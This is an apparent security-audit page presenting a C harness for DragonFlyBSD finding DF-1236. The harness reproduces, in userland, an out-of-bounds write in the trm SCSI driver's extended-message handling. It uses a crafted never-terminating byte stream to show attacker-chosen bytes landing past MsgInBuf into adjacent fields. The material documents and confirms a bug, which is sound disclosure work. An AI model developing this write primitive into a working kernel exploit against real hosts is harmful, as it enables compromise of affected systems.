โฌข DragonFlyBSD Kernel Audit
DF-1236 / harness.c
โ† back to finding โ†“ download raw
/*
 * DF-1236 harness โ€” trm_MsgInPhase0 extended-message accumulation overflow.
 *
 * The kernel driver sys/dev/disk/trm/trm.c:trm_MsgInPhase0() accumulates
 * incoming SCSI MESSAGE-IN bytes for an EXTENDED message:
 *
 *     sys/dev/disk/trm/trm.c:1861  MSG_EXTENDED branch sets SRB_EXTEND_MSGIN,
 *                                 MsgInBuf[0]=01h, MsgCnt=1,
 *                                 pMsgPtr = &MsgInBuf[1].
 *     sys/dev/disk/trm/trm.c:1958  *pMsgPtr = message_in_code;
 *     sys/dev/disk/trm/trm.c:1959  MsgCnt++;
 *     sys/dev/disk/trm/trm.c:1960  pMsgPtr++;
 *
 * Termination only happens for MsgInBuf[2]==3 && MsgCnt==4 (WDTR, :2026) or
 * MsgInBuf[2]==1 && MsgCnt==5 (SDTR, :2113). MsgInBuf is 6 bytes
 * (sys/dev/disk/trm/trm.h:168). A malicious SCSI target that sends
 * MSG_EXTENDED(01) + len + code != {1,3} + extra bytes drives pMsgPtr past
 * MsgInBuf[6] into MsgOutBuf / AdaptStatus / MsgCnt / TagNumber / SRBStatus
 * ... and into adjacent heap.
 *
 * This harness replicates the SRB layout and the accumulation loop, feeds a
 * malicious byte stream (code=0x02, never terminates), and prints which
 * fields get corrupted past MsgInBuf. It proves the write primitive is real
 * without needing a physical Tekram DC395 trm HBA (absent from the QEMU guest).
 *
 * The kernel trigger additionally requires: a trm HBA present + a malicious
 * SCSI target sending crafted extended messages. Not reproducible on this
 * guest (no such HBA). This harness proves the logic flaw.
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>

/* Mirror the relevant SRB layout (sys/dev/disk/trm/trm.h:144-182). */
struct _SRB_harness {
    uint8_t  CmdBlock[12];
    uint64_t Segment0[2];
    uint64_t Segment1[2];
    void    *pNextSRB;
    void    *pSRBDCB;
    uint64_t SgSenseTemp[2];
    void    *pSRBSGL;
    uint32_t SRBSGPhyAddr;
    uint32_t SRBTotalXferLength;
    void    *pccb;
    uint64_t sg_dmamap;
    uint64_t dmamap;
    uint16_t SRBState;
    uint8_t *pMsgPtr;
    uint8_t  SRBSGCount;
    uint8_t  SRBSGIndex;
    uint8_t  MsgInBuf[6];      /* trm.h:168 */
    uint8_t  MsgOutBuf[6];     /* trm.h:169 */
    uint8_t  AdaptStatus;      /* trm.h:171 */
    uint8_t  TargetStatus;
    uint8_t  MsgCnt;           /* trm.h:173 */
    uint8_t  TagNumber;        /* trm.h:174 */
    uint8_t  SRBStatus;
    uint8_t  RetryCnt;
    uint8_t  SRBFlag;
    uint8_t  ScsiCmdLen;
    uint8_t  ScsiPhase;
    uint8_t  Reserved[3];
};

#define SRB_EXTEND_MSGIN  0x0020
#define MSG_EXTENDED      0x01

/* Replicate trm_MsgInPhase0's extended-message accumulation (the else branch
 * at trm.c:1958-1960), byte-by-byte. Returns the number of bytes written
 * past the end of MsgInBuf. */
static int accumulate(struct _SRB_harness *s, const uint8_t *bytes, int n) {
    int oob = 0;
    for (int i = 0; i < n; i++) {
        /* trm.c:1958-1960 โ€” NO bound check on pMsgPtr vs MsgInBuf */
        *s->pMsgPtr = bytes[i];
        s->MsgCnt++;
        s->pMsgPtr++;
        if (s->pMsgPtr > &s->MsgInBuf[sizeof(s->MsgInBuf) - 1] + 1)
            oob++;
        /* The only terminations (trm.c:2026 WDTR, :2113 SDTR) โ€” we choose a
         * code byte that matches NEITHER, so accumulation never stops. */
    }
    return oob;
}

int main(void) {
    struct _SRB_harness s;
    memset(&s, 0, sizeof(s));

    /* trm.c:1861-1868 โ€” first MSG_EXTENDED byte */
    s.SRBState |= SRB_EXTEND_MSGIN;
    s.MsgInBuf[0] = MSG_EXTENDED;
    s.MsgCnt = 1;
    s.pMsgPtr = &s.MsgInBuf[1];

    /* Malicious target stream: [length][code=0x02][pad bytes...].
     * code 0x02 is neither 1 (SDTR) nor 3 (WDTR), so trm.c:2026/:2113 never
     * match and the fall-through at trm.c:2234 returns, leaving
     * SRB_EXTEND_MSGIN set for the next byte. */
    uint8_t stream[64];
    stream[0] = 0xff;            /* extended message length (n) */
    stream[1] = 0x02;            /* code != 1 and != 3  -> never terminates */
    for (int i = 2; i < 64; i++)
        stream[i] = (uint8_t)(0xA0 + (i & 0x0f));  /* attacker bytes */

    int oob = accumulate(&s, stream, 64);

    printf("DF-1236 trm MsgInBuf overflow harness\n");
    printf("MsgInBuf is 6 bytes (trm.h:168); pMsgPtr started at MsgInBuf[1]\n");
    printf("Bytes written past end of MsgInBuf[6]: %d\n", oob);
    printf("Final MsgCnt (trm.h:173, overwritten path): 0x%02x\n", s.MsgCnt);
    printf("MsgOutBuf after overflow: ");
    for (int i = 0; i < 6; i++) printf("%02x ", s.MsgOutBuf[i]);
    printf("\nAdaptStatus=0x%02x TargetStatus=0x%02x TagNumber=0x%02x SRBStatus=0x%02x\n",
           s.AdaptStatus, s.TargetStatus, s.TagNumber, s.SRBStatus);

    /* Verdict: if any MsgOutBuf byte is non-zero, attacker bytes landed past
     * MsgInBuf โ€” the OOB write primitive is confirmed. */
    int corrupted = 0;
    for (int i = 0; i < 6; i++) if (s.MsgOutBuf[i]) corrupted++;
    if (oob > 0 && corrupted > 0) {
        printf("\nPRIMITIVE CONFIRMED: attacker-controlled bytes written past MsgInBuf[6]\n");
        printf("into MsgOutBuf and beyond (SRB heap fields). Bug is REAL.\n");
        return 0;
    }
    printf("\nUNEXPECTED: no corruption observed\n");
    return 1;
}